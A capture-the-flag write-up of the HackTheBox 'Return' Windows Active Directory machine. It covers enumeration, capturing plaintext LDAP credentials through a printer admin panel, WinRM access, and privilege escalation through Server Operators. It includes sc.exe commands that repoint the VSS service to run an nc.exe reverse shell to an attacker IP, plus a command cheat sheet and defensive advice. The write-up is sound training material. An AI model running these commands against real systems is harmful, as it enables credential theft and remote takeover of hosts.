1. Target Overview

Machine Name: Return
Platform: HackTheBox
Operating System: Windows
Target IP: 10.129.95.241
Objective: Gain initial access and escalate privileges to SYSTEM within an Active Directory environment.

Return is a Windows Active Directory machine that, on the surface, exposes standard enterprise services like LDAP, SMB, and Kerberos. What made this box stand out to me is how realistic it felt—everything revolved around a misconfigured service and poor credential handling rather than some flashy exploit. It forced me to slow down, pay attention to details, and think through how services actually communicate.

Tools Used

Nmap
NetExec (nxc)
rpcclient
Kerbrute
ffuf
Burp Suite
Netcat
Evil-WinRM

2. Enumeration

Initial Enumeration

I started with an Nmap scan and immediately saw this was a typical Active Directory environment. LDAP (389), Kerberos (88), SMB (445), and a web server on port 80 were all exposed. The presence of an FQDN (return.local) confirmed domain functionality.

I added the domain to my /etc/hosts file to ensure proper resolution before continuing.

SMB Enumeration

I attempted anonymous SMB enumeration:

Null authentication was allowed
Share enumeration failed with STATUS_ACCESS_DENIED

This told me SMB was present but locked down properly—no easy wins here.

RPC Enumeration

Next, I tried anonymous RPC enumeration:

Attempted enumdomusers
Access was denied

Again, nothing exposed anonymously.

LDAP Enumeration

I attempted LDAP user enumeration:

LDAP bind failed due to lack of authentication
No anonymous access allowed

At this point, it was clear: no anonymous enumeration path was going to work on this box.

Web Enumeration

Since infrastructure enumeration was blocked, I shifted focus to the web server.

Running ffuf revealed several .php endpoints, indicating a dynamic web application.

When I visited the site, I found something interesting—a printer admin panel.

Inside the settings page, I noticed:

Server Address
Port (389)
Username: svc-printer
Password field (masked)

This immediately stood out. Service accounts exposed in web apps are always worth investigating.

Kerberos Enumeration

I used kerbrute to validate the username:

svc-printer was confirmed as a valid domain user

I attempted AS-REP roasting, but it failed—so no luck there.

Potential Vulnerability Identified

At this point, the key observation was:

The web app allows updating a server address
It references LDAP (port 389)
It uses a service account (svc-printer)

This strongly suggested the application might be attempting authentication against whatever server I supply.

3. Exploitation

Initial Foothold

I intercepted the request to /settings.php using Burp Suite and noticed something important:

The POST request only contained a field for the server IP

My initial thought was to replace this with my attacking machine and catch a connection.

I first tried:

Netcat listener on port 80 → no response

Then I corrected my mistake:

The application explicitly referenced port 389 (LDAP)

So I switched my listener:

nc -nvlp 389

This time, I received a connection from the target.

Credential Capture

The application attempted to authenticate to my listener using:

Username: svc-printer
Password: plaintext

This was the foothold.

Key takeaway:
I was tunnel-visioned on HTTP, but the application logic was using LDAP. The port number was right in front of me the whole time.

User Access

With credentials in hand, I tested WinRM access:

svc-printer had WinRM access → successful login via Evil-WinRM

I now had a shell as a domain user.

Post-Compromise Validation

I enumerated the domain:

Only one other user: Administrator

This hinted that privilege escalation would likely be local rather than domain-based.

4. Privilege Escalation

Local Enumeration

I followed my Windows privilege escalation checklist:

Checked for autologon credentials → none found
Checked user directories → nothing useful

User Context Review

Running:

whoami /all

Revealed something critical:

User is a member of Server Operators

This is a high-value group.

Privilege Escalation Path

Members of Server Operators can:

Start/stop services
Modify service configurations
Execute binaries as SYSTEM

This is essentially a direct path to SYSTEM if abused correctly.

Exploitation via Services

I uploaded nc.exe to the target and modified the Volume Shadow Copy (VSS) service:

sc.exe config VSS binpath= "C:\ProgramData\nc.exe -e cmd 10.10.14.123 7777"
sc.exe start VSS

This triggered a reverse shell.

Shell Stability Issue

The initial shell was unstable.

Reason:

Windows expects services to behave in a specific way
If they don’t, they get terminated

Stable Shell Workaround

To fix this, I wrapped the payload in cmd.exe:

sc.exe config VSS binpath= "C:\Windows\System32\cmd.exe /c C:\ProgramData\nc.exe -e cmd 10.10.14.123 7777"

This worked because:

The service starts cmd.exe (valid behavior)
cmd.exe spawns netcat as a child process
Even if the service dies, the shell persists

SYSTEM Access

After triggering the service again, I received a stable shell:

nt authority\system

Full compromise.

5. Lessons Learned

1. Avoid Tunnel Vision

I initially assumed everything would communicate over HTTP. That was wrong.

The application clearly showed port 389, and once I aligned my testing with that, everything worked.

2. Always Trust What the Application Tells You

The web interface literally gave me:

Protocol (LDAP) Port (389) Username (svc-printer)

That’s not decoration—that’s attack surface.

3. Server Operators = High Value

This group is extremely powerful.

If you see it, treat it the same way you would:

SeImpersonatePrivilege WriteDACL GenericAll

It’s basically a built-in privesc path.

4. Service Abuse is a Reliable Privesc Vector

Using sc.exe to modify services is:

Simple Reliable Extremely effective

This is something I’ll actively look for going forward.

5. Shell Stability Matters

Getting a shell is not enough.

Understanding why it dies and how to stabilize it is what separates a working exploit from a reliable one.

6. Defensive Insight

1. Never Store or Transmit Credentials in Plaintext

The printer service leaked credentials over LDAP without encryption.

This is a critical failure.

2. Restrict Service Account Permissions

The svc-printer account had:

WinRM access
Membership in Server Operators

That’s excessive privilege for a service account.

3. Secure Service Configuration Permissions

Allowing non-admin users to modify services is dangerous.

This is a direct escalation path.

4. Enforce LDAP Signing and Encryption

LDAP without signing allows credential interception.

This should always be enforced in production environments.

7. Useful Commands

Enumeration

nxc smb <target> -u '' -p '' --shares
rpcclient -U "" -N <target>
nxc ldap <target> --users
kerbrute userenum -d return.local users.txt

Exploitation

nc -nvlp 389

Privilege Escalation

whoami /all
sc.exe config <service> binpath= "<payload>"
sc.exe start <service>

Active Directory

evil-winrm -i <target> -u svc-printer -p <password>

Command Palette